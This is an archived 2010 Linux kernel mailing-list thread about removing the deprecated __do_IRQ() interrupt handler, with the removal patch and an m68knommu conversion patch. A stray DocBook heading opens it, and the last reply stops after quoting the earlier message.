-
   <chapter id="locking">
      <title>Locking on SMP</title>
      <para>
Index: linux-2.6/Documentation/feature-removal-schedule.txt
===================================================================
--- linux-2.6.orig/Documentation/feature-removal-schedule.txt
+++ linux-2.6/Documentation/feature-removal-schedule.txt
@@ -315,14 +315,6 @@ Who:	Dave Jones <davej@redhat.com>, Matt
 
 -----------------------------
 
-What:	__do_IRQ all in one fits nothing interrupt handler
-When:	2.6.32
-Why:	__do_IRQ was kept for easy migration to the type flow handlers.
-	More than two years of migration time is enough.
-Who:	Thomas Gleixner <tglx@linutronix.de>
-
------------------------------
-
 What:	fakephp and associated sysfs files in /sys/bus/pci/slots/
 When:	2011
 Why:	In 2.6.27, the semantics of /sys/bus/pci/slots was redefined to
Index: linux-2.6/include/linux/irq.h
===================================================================
--- linux-2.6.orig/include/linux/irq.h
+++ linux-2.6/include/linux/irq.h
@@ -150,7 +150,7 @@ struct irq_2_iommu;
  * @timer_rand_state:	pointer to timer rand state struct
  * @kstat_irqs:		irq stats per cpu
  * @irq_2_iommu:	iommu with this irq
- * @handle_irq:		highlevel irq-events handler [if NULL, __do_IRQ()]
+ * @handle_irq:		highlevel irq-events handler
  * @chip:		low level interrupt hardware access
  * @msi_desc:		MSI descriptor
  * @handler_data:	per-IRQ data for the irq_chip methods
@@ -294,28 +294,12 @@ extern void handle_bad_irq(unsigned int 
 extern void handle_nested_irq(unsigned int irq);
 
 /*
- * Monolithic do_IRQ implementation.
- */
-#ifndef CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
-extern unsigned int __do_IRQ(unsigned int irq);
-#endif
-
-/*
  * Architectures call this to let the generic IRQ layer
- * handle an interrupt. If the descriptor is attached to an
- * irqchip-style controller then we call the ->handle_irq() handler,
- * and it calls __do_IRQ() if it's attached to an irqtype-style controller.
+ * handle an interrupt.
  */
 static inline void generic_handle_irq_desc(unsigned int irq, struct irq_desc *desc)
 {
-#ifdef CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
 	desc->handle_irq(irq, desc);
-#else
-	if (likely(desc->handle_irq))
-		desc->handle_irq(irq, desc);
-	else
-		__do_IRQ(irq);
-#endif
 }
 
 static inline void generic_handle_irq(unsigned int irq)
Index: linux-2.6/kernel/irq/handle.c
===================================================================
--- linux-2.6.orig/kernel/irq/handle.c
+++ linux-2.6/kernel/irq/handle.c
@@ -426,117 +426,6 @@ irqreturn_t handle_IRQ_event(unsigned in
 	return retval;
 }
 
-#ifndef CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
-
-#ifdef CONFIG_ENABLE_WARN_DEPRECATED
-# warning __do_IRQ is deprecated. Please convert to proper flow handlers
-#endif
-
-/**
- * __do_IRQ - original all in one highlevel IRQ handler
- * @irq:	the interrupt number
- *
- * __do_IRQ handles all normal device IRQ's (the special
- * SMP cross-CPU interrupts have their own specific
- * handlers).
- *
- * This is the original x86 implementation which is used for every
- * interrupt type.
- */
-unsigned int __do_IRQ(unsigned int irq)
-{
-	struct irq_desc *desc = irq_to_desc(irq);
-	struct irqaction *action;
-	unsigned int status;
-
-	kstat_incr_irqs_this_cpu(irq, desc);
-
-	if (CHECK_IRQ_PER_CPU(desc->status)) {
-		irqreturn_t action_ret;
-
-		/*
-		 * No locking required for CPU-local interrupts:
-		 */
-		if (desc->chip->ack)
-			desc->chip->ack(irq);
-		if (likely(!(desc->status & IRQ_DISABLED))) {
-			action_ret = handle_IRQ_event(irq, desc->action);
-			if (!noirqdebug)
-				note_interrupt(irq, desc, action_ret);
-		}
-		desc->chip->end(irq);
-		return 1;
-	}
-
-	raw_spin_lock(&desc->lock);
-	if (desc->chip->ack)
-		desc->chip->ack(irq);
-	/*
-	 * REPLAY is when Linux resends an IRQ that was dropped earlier
-	 * WAITING is used by probe to mark irqs that are being tested
-	 */
-	status = desc->status & ~(IRQ_REPLAY | IRQ_WAITING);
-	status |= IRQ_PENDING; /* we _want_ to handle it */
-
-	/*
-	 * If the IRQ is disabled for whatever reason, we cannot
-	 * use the action we have.
-	 */
-	action = NULL;
-	if (likely(!(status & (IRQ_DISABLED | IRQ_INPROGRESS)))) {
-		action = desc->action;
-		status &= ~IRQ_PENDING; /* we commit to handling */
-		status |= IRQ_INPROGRESS; /* we are handling it */
-	}
-	desc->status = status;
-
-	/*
-	 * If there is no IRQ handler or it was disabled, exit early.
-	 * Since we set PENDING, if another processor is handling
-	 * a different instance of this same irq, the other processor
-	 * will take care of it.
-	 */
-	if (unlikely(!action))
-		goto out;
-
-	/*
-	 * Edge triggered interrupts need to remember
-	 * pending events.
-	 * This applies to any hw interrupts that allow a second
-	 * instance of the same irq to arrive while we are in do_IRQ
-	 * or in the handler. But the code here only handles the _second_
-	 * instance of the irq, not the third or fourth. So it is mostly
-	 * useful for irq hardware that does not mask cleanly in an
-	 * SMP environment.
-	 */
-	for (;;) {
-		irqreturn_t action_ret;
-
-		raw_spin_unlock(&desc->lock);
-
-		action_ret = handle_IRQ_event(irq, action);
-		if (!noirqdebug)
-			note_interrupt(irq, desc, action_ret);
-
-		raw_spin_lock(&desc->lock);
-		if (likely(!(desc->status & IRQ_PENDING)))
-			break;
-		desc->status &= ~IRQ_PENDING;
-	}
-	desc->status &= ~IRQ_INPROGRESS;
-
-out:
-	/*
-	 * The ->end() handler has to deal with interrupts which got
-	 * disabled while the handler was running.
-	 */
-	desc->chip->end(irq);
-	raw_spin_unlock(&desc->lock);
-
-	return 1;
-}
-#endif

From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ungerer <gerg@snapgear.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Thu, 9 Sep 2010 17:21:35 +1000
Lines: 156
Approved: news@gmane.org
Message-ID: <4C888AFF.80304@snapgear.com>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="------------010606090302060609020406"
X-Trace: dough.gmane.org 1284017027 15947 80.91.229.12 (9 Sep 2010 07:23:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Sep 2010 07:23:47 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 09 09:23:42 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OtbTw-0007dg-RK
	for glka-linux-arch@lo.gmane.org; Thu, 09 Sep 2010 09:23:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751923Ab0IIHXj (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 9 Sep 2010 03:23:39 -0400
Original-Received: from dalsmrelay2.nai.com ([205.227.136.216]:28437 "HELO
	dalsmrelay2.nai.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1750870Ab0IIHXi (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 9 Sep 2010 03:23:38 -0400
Original-Received: from (unknown [10.64.5.51]) by dalsmrelay2.nai.com with smtp
	 id 604f_1ab0_29391f3a_bbe3_11df_9d54_00219b929abd;
	Thu, 09 Sep 2010 07:23:37 +0000
Original-Received: from dalexbr1.corp.nai.org (161.69.111.81) by DALEXHT1.corp.nai.org
 (10.64.5.51) with Microsoft SMTP Server id 8.2.254.0; Thu, 9 Sep 2010
 02:22:04 -0500
Original-Received: from sncexbr1.corp.nai.org ([161.69.5.246]) by dalexbr1.corp.nai.org
 with Microsoft SMTPSVC(6.0.3790.3959);	 Thu, 9 Sep 2010 02:22:02 -0500
Original-Received: from STPSMTP01.scur.com ([10.96.96.163]) by sncexbr1.corp.nai.org
 with Microsoft SMTPSVC(6.0.3790.3959);	 Thu, 9 Sep 2010 00:22:00 -0700
Original-Received: from cyberguard.com.au ([10.46.129.16]) by STPSMTP01.scur.com with
 Microsoft SMTPSVC(6.0.3790.4675);	 Thu, 9 Sep 2010 02:21:59 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])	by
 bne.snapgear.com (Postfix) with ESMTP id B6035EB169;	Thu,  9 Sep 2010
 17:21:53 +1000 (EST)
X-Virus-Scanned: amavisd-new at snapgear.com
Original-Received: from bne.snapgear.com ([127.0.0.1])	by localhost (bne.snapgear.com
 [127.0.0.1]) (amavisd-new, port 10024)	with ESMTP id 4ORT-5I7xLPI; Thu,  9
 Sep 2010 17:21:45 +1000 (EST)
Original-Received: from [172.22.196.222] (bnelabfw.scur.com [10.46.129.16])	by
 bne.snapgear.com (Postfix) with ESMTP;	Thu,  9 Sep 2010 17:21:45 +1000 (EST)
User-Agent: Thunderbird 2.0.0.24 (X11/20100411)
In-Reply-To: <20100908152036.643594727@linutronix.de>
X-OriginalArrivalTime: 09 Sep 2010 07:21:59.0296 (UTC) FILETIME=[B0D8B000:01CB4FEF]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7522 gmane.linux.kernel:1033683 gmane.linux.ports.alpha:1104 gmane.linux.ports.ia64:21409 gmane.linux.ports.parisc:3083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3083>

--------------010606090302060609020406
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit

Thomas Gleixner wrote:
> __do_IRQ() has been deprecated after a two years migration phase in
> commit 0e57aa1. Since then another 18 month have gone by.
> 
> So here's the status three and a half years after the flow based
> infrastructure was merged:
> 
>  The following architectures are fully converted to the new flow
>  handler code:
> 
>   arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
>   sparc 64bit, tile, x86, xtensa
> 
>   (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
>   though)
> 
>  The following architectures are not using the generic interrupt
>  infrastructure at all and are therefor unaffected:
> 
>   s390, m68k, sparc 32bit
> 
>  The following architectures are still using __do_IRQ():
> 
>   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um

The m68knommu arch should be easy to fix up. Here is a first pass
patch. Tested and working on 1 board so far. I need to check all
the processor types, and test a few more to be sure :-)

Regards
Greg


-- 
------------------------------------------------------------------------
Greg Ungerer  --  Principal Engineer        EMAIL:     gerg@snapgear.com
SnapGear Group, McAfee                      PHONE:       +61 7 3435 2888
8 Gardner Close                             FAX:         +61 7 3217 5323
Milton, QLD, 4064, Australia                WEB: http://www.SnapGear.com

--------------010606090302060609020406
Content-Type: text/x-patch; name="m68knommu-stop-using-__do_IRQ.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="m68knommu-stop-using-__do_IRQ.patch"

m68knommu: stop using __do_IRQ

The use of __do_IRQ is deprecated, so lets stop using it.
Generally the interrupts on the supported processors here are
level triggered, so this is strait forward to switch over to
using the standard handle_level_irq flow handler.

Signed-off-by: Greg Ungerer <gerg@uclinux.org>
---
 arch/m68knommu/Kconfig                       |    4 ++++
 arch/m68knommu/platform/5272/intc.c          |    1 +
 arch/m68knommu/platform/68328/ints.c         |    1 +
 arch/m68knommu/platform/68360/ints.c         |    1 +
 arch/m68knommu/platform/coldfire/intc-2.c    |    1 +
 arch/m68knommu/platform/coldfire/intc-simr.c |    1 +
 arch/m68knommu/platform/coldfire/intc.c      |    1 +
 7 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/m68knommu/Kconfig b/arch/m68knommu/Kconfig
index 2609c39..fd28178 100644
--- a/arch/m68knommu/Kconfig
+++ b/arch/m68knommu/Kconfig
@@ -59,6 +59,10 @@ config GENERIC_HARDIRQS
 	bool
 	default y
 
+config GENERIC_HARDIRQS_NO__DO_IRQ
+	bool
+	default y
+
 config GENERIC_CALIBRATE_DELAY
 	bool
 	default y
diff --git a/arch/m68knommu/platform/5272/intc.c b/arch/m68knommu/platform/5272/intc.c
index 7081e0a..e9da6f1 100644
--- a/arch/m68knommu/platform/5272/intc.c
+++ b/arch/m68knommu/platform/5272/intc.c
@@ -133,6 +133,7 @@ void __init init_IRQ(void)
 		irq_desc[irq].depth = 1;
 		irq_desc[irq].chip = &intc_irq_chip;
 		intc_irq_set_type(irq, 0);
+		set_irq_handler(irq, handle_level_irq);
 	}
 }
 
diff --git a/arch/m68knommu/platform/68328/ints.c b/arch/m68knommu/platform/68328/ints.c
index b91ee85..90516ee 100644
--- a/arch/m68knommu/platform/68328/ints.c
+++ b/arch/m68knommu/platform/68328/ints.c
@@ -183,6 +183,7 @@ void __init init_IRQ(void)
 		irq_desc[i].action = NULL;
 		irq_desc[i].depth = 1;
 		irq_desc[i].chip = &intc_irq_chip;
+		set_irq_handler(irq, handle_level_irq);
 	}
 }
 
diff --git a/arch/m68knommu/platform/68360/ints.c b/arch/m68knommu/platform/68360/ints.c
index 6f22970..cdf691e 100644
--- a/arch/m68knommu/platform/68360/ints.c
+++ b/arch/m68knommu/platform/68360/ints.c
@@ -136,6 +136,7 @@ void init_IRQ(void)
 		irq_desc[i].action = NULL;
 		irq_desc[i].depth = 1;
 		irq_desc[i].chip = &intc_irq_chip;
+		set_irq_handler(irq, handle_level_irq);
 	}
 }
 
diff --git a/arch/m68knommu/platform/coldfire/intc-2.c b/arch/m68knommu/platform/coldfire/intc-2.c
index 5598c8b..6410f7e 100644
--- a/arch/m68knommu/platform/coldfire/intc-2.c
+++ b/arch/m68knommu/platform/coldfire/intc-2.c
@@ -88,6 +88,7 @@ void __init init_IRQ(void)
 		irq_desc[irq].action = NULL;
 		irq_desc[irq].depth = 1;
 		irq_desc[irq].chip = &intc_irq_chip;
+		set_irq_handler(irq, handle_level_irq);
 	}
 }
 
diff --git a/arch/m68knommu/platform/coldfire/intc-simr.c b/arch/m68knommu/platform/coldfire/intc-simr.c
index 1b01e79..7f4abb3 100644
--- a/arch/m68knommu/platform/coldfire/intc-simr.c
+++ b/arch/m68knommu/platform/coldfire/intc-simr.c
@@ -73,6 +73,7 @@ void __init init_IRQ(void)
 		irq_desc[irq].depth = 1;
 		irq_desc[irq].chip = &intc_irq_chip;
 		intc_irq_set_type(irq, 0);
+		set_irq_handler(irq, handle_level_irq);
 	}
 }
 
diff --git a/arch/m68knommu/platform/coldfire/intc.c b/arch/m68knommu/platform/coldfire/intc.c
index a4560c8..40b9e8d 100644
--- a/arch/m68knommu/platform/coldfire/intc.c
+++ b/arch/m68knommu/platform/coldfire/intc.c
@@ -148,6 +148,7 @@ void __init init_IRQ(void)
 		irq_desc[irq].depth = 1;
 		irq_desc[irq].chip = &intc_irq_chip;
 		intc_irq_set_type(irq, 0);
+		set_irq_handler(irq, handle_level_irq);
 	}
 }
 

--------------010606090302060609020406--

From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Thu, 9 Sep 2010 10:09:26 -0400
Lines: 142
Approved: news@gmane.org
Message-ID: <20100909140926.GH24791@bombadil.infradead.org>
References: <20100908152036.643594727@linutronix.de>
 <4C888AFF.80304@snapgear.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1284041386 21180 80.91.229.12 (9 Sep 2010 14:09:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Sep 2010 14:09:46 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Greg Ungerer <gerg@snapgear.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Sep 09 16:09:41 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Othor-0007PU-8m
	for lnx-linux-alpha@lo.gmane.org; Thu, 09 Sep 2010 16:09:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752658Ab0IIOJj (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 9 Sep 2010 10:09:39 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34546 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751259Ab0IIOJi (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Thu, 9 Sep 2010 10:09:38 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1Othoc-0001Jp-Nz; Thu, 09 Sep 2010 14:09:26 +0000
Content-Disposition: inline
In-Reply-To: <4C888AFF.80304@snapgear.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1105 gmane.linux.kernel:1033787 gmane.linux.ports.ia64:21410 gmane.linux.ports.parisc:3084 gmane.linux.kernel.cross-arch:7523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3084>

On Thu, Sep 09, 2010 at 05:21:35PM +1000, Greg Ungerer wrote:
> The m68knommu arch should be easy to fix up. Here is a first pass
> patch. Tested and working on 1 board so far. I need to check all
> the processor types, and test a few more to be sure :-)
> 

Dunno if you noticed, Greg, but you've already had a removal patch
submitted some time ago...

Date: Wed, 16 Dec 2009 19:15:39 -0800                                                                                                                                              
From: Steven King <sfking@fdwdc.com>                                                                                                                                               
To: Greg Ungerer <gerg@snapgear.com>                                                                                                                                               
Subject: [PATCH] m68knommu: get rid of __do_IRQ and add support for
 using gpio irqs.       

(noticed this while searching for __do_IRQ related stuff in my email
last night.)

regards, Kyle

> Regards
> Greg
> 
> 
> -- 
> ------------------------------------------------------------------------
> Greg Ungerer  --  Principal Engineer        EMAIL:     gerg@snapgear.com
> SnapGear Group, McAfee                      PHONE:       +61 7 3435 2888
> 8 Gardner Close                             FAX:         +61 7 3217 5323
> Milton, QLD, 4064, Australia                WEB: http://www.SnapGear.com

> m68knommu: stop using __do_IRQ
> 
> The use of __do_IRQ is deprecated, so lets stop using it.
> Generally the interrupts on the supported processors here are
> level triggered, so this is strait forward to switch over to
> using the standard handle_level_irq flow handler.
> 
> Signed-off-by: Greg Ungerer <gerg@uclinux.org>
> ---
>  arch/m68knommu/Kconfig                       |    4 ++++
>  arch/m68knommu/platform/5272/intc.c          |    1 +
>  arch/m68knommu/platform/68328/ints.c         |    1 +
>  arch/m68knommu/platform/68360/ints.c         |    1 +
>  arch/m68knommu/platform/coldfire/intc-2.c    |    1 +
>  arch/m68knommu/platform/coldfire/intc-simr.c |    1 +
>  arch/m68knommu/platform/coldfire/intc.c      |    1 +
>  7 files changed, 10 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/m68knommu/Kconfig b/arch/m68knommu/Kconfig
> index 2609c39..fd28178 100644
> --- a/arch/m68knommu/Kconfig
> +++ b/arch/m68knommu/Kconfig
> @@ -59,6 +59,10 @@ config GENERIC_HARDIRQS
>  	bool
>  	default y
>  
> +config GENERIC_HARDIRQS_NO__DO_IRQ
> +	bool
> +	default y
> +
>  config GENERIC_CALIBRATE_DELAY
>  	bool
>  	default y
> diff --git a/arch/m68knommu/platform/5272/intc.c b/arch/m68knommu/platform/5272/intc.c
> index 7081e0a..e9da6f1 100644
> --- a/arch/m68knommu/platform/5272/intc.c
> +++ b/arch/m68knommu/platform/5272/intc.c
> @@ -133,6 +133,7 @@ void __init init_IRQ(void)
>  		irq_desc[irq].depth = 1;
>  		irq_desc[irq].chip = &intc_irq_chip;
>  		intc_irq_set_type(irq, 0);
> +		set_irq_handler(irq, handle_level_irq);
>  	}
>  }
>  
> diff --git a/arch/m68knommu/platform/68328/ints.c b/arch/m68knommu/platform/68328/ints.c
> index b91ee85..90516ee 100644
> --- a/arch/m68knommu/platform/68328/ints.c
> +++ b/arch/m68knommu/platform/68328/ints.c
> @@ -183,6 +183,7 @@ void __init init_IRQ(void)
>  		irq_desc[i].action = NULL;
>  		irq_desc[i].depth = 1;
>  		irq_desc[i].chip = &intc_irq_chip;
> +		set_irq_handler(irq, handle_level_irq);
>  	}
>  }
>  
> diff --git a/arch/m68knommu/platform/68360/ints.c b/arch/m68knommu/platform/68360/ints.c
> index 6f22970..cdf691e 100644
> --- a/arch/m68knommu/platform/68360/ints.c
> +++ b/arch/m68knommu/platform/68360/ints.c
> @@ -136,6 +136,7 @@ void init_IRQ(void)
>  		irq_desc[i].action = NULL;
>  		irq_desc[i].depth = 1;
>  		irq_desc[i].chip = &intc_irq_chip;
> +		set_irq_handler(irq, handle_level_irq);
>  	}
>  }
>  
> diff --git a/arch/m68knommu/platform/coldfire/intc-2.c b/arch/m68knommu/platform/coldfire/intc-2.c
> index 5598c8b..6410f7e 100644
> --- a/arch/m68knommu/platform/coldfire/intc-2.c
> +++ b/arch/m68knommu/platform/coldfire/intc-2.c
> @@ -88,6 +88,7 @@ void __init init_IRQ(void)
>  		irq_desc[irq].action = NULL;
>  		irq_desc[irq].depth = 1;
>  		irq_desc[irq].chip = &intc_irq_chip;
> +		set_irq_handler(irq, handle_level_irq);
>  	}
>  }
>  
> diff --git a/arch/m68knommu/platform/coldfire/intc-simr.c b/arch/m68knommu/platform/coldfire/intc-simr.c
> index 1b01e79..7f4abb3 100644
> --- a/arch/m68knommu/platform/coldfire/intc-simr.c
> +++ b/arch/m68knommu/platform/coldfire/intc-simr.c
> @@ -73,6 +73,7 @@ void __init init_IRQ(void)
>  		irq_desc[irq].depth = 1;
>  		irq_desc[irq].chip = &intc_irq_chip;
>  		intc_irq_set_type(irq, 0);
> +		set_irq_handler(irq, handle_level_irq);
>  	}
>  }
>  
> diff --git a/arch/m68knommu/platform/coldfire/intc.c b/arch/m68knommu/platform/coldfire/intc.c
> index a4560c8..40b9e8d 100644
> --- a/arch/m68knommu/platform/coldfire/intc.c
> +++ b/arch/m68knommu/platform/coldfire/intc.c
> @@ -148,6 +148,7 @@ void __init init_IRQ(void)
>  		irq_desc[irq].depth = 1;
>  		irq_desc[irq].chip = &intc_irq_chip;
>  		intc_irq_set_type(irq, 0);
> +		set_irq_handler(irq, handle_level_irq);
>  	}
>  }
>  

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dialup Jon Norstog" <thursday@allidaho.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing __do_IRQ() code
Date: Thu, 9 Sep 2010 07:44:36 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20100909134113.M84121@allidaho.com>
References: <20100908152036.643594727@linutronix.de> <4BEA3FF3CAA35E408EA55C7BE2E61D05583CE93218@xmail3.se.axis.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset=iso-8859-1
X-Trace: dough.gmane.org 1284041590 22110 80.91.229.12 (9 Sep 2010 14:13:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Sep 2010 14:13:10 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	linux-cris-kernel <linux-cris-kernel@axis.com>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: Mikael Starvik <mikael.starvik@axis.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Jesper Nilsson <jespern@axis.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 09 16:13:05 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Oths8-0008NY-2A
	for glpp-linux-parisc@lo.gmane.org; Thu, 09 Sep 2010 16:13:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753825Ab0IIONC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Sep 2010 10:13:02 -0400
Original-Received: from ns2.allidaho.com ([66.232.90.194]:60714 "EHLO mail.allidaho.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751259Ab0IIONB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Sep 2010 10:13:01 -0400
X-Greylist: delayed 367 seconds by postgrey-1.27 at vger.kernel.org; Thu, 09 Sep 2010 10:13:01 EDT
Original-Received: from allidaho.com (localhost.localdomain [127.0.0.1])
	by mail.allidaho.com (8.13.8/8.13.8) with ESMTP id o89DiaDI003423;
	Thu, 9 Sep 2010 07:44:37 -0600
In-Reply-To: <4BEA3FF3CAA35E408EA55C7BE2E61D05583CE93218@xmail3.se.axis.com>
X-Mailer: OpenWebMail 2.52 20061019
X-OriginatingIP: 24.116.219.19 (thursday)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3085 gmane.linux.kernel:1033788 gmane.linux.ports.alpha:1106 gmane.linux.ports.ia64:21411 gmane.linux.kernel.cross-arch:7524
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3085>




---------- Original Message -----------
From: Mikael Starvik <mikael.starvik@axis.com>
To: Thomas Gleixner <tglx@linutronix.de>, LKML <linux-k 
>  The following architectures are still using __do_IRQ():
> 
>   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> 
> So now the question arises what to do with __do_IRQ().
> 
> Removing it would be the right thing, but that'll break 8 archs, so
> it's probably not considered a good idea, though for most of them the
> conversion should be reasonably trivial.
> 
> I'm happy to move that code into kernel/irq/cruft.c forever if there
> is no way to get the remaining users converted in the forseeable
> future. It looks like they can cope with the annoying build warning
> nicely.
> 
> Either that or moving everything what breaks into staging/arch/* and
> hand it over to GregKH :)
> 
> Thoughts ?
 

To the lists:

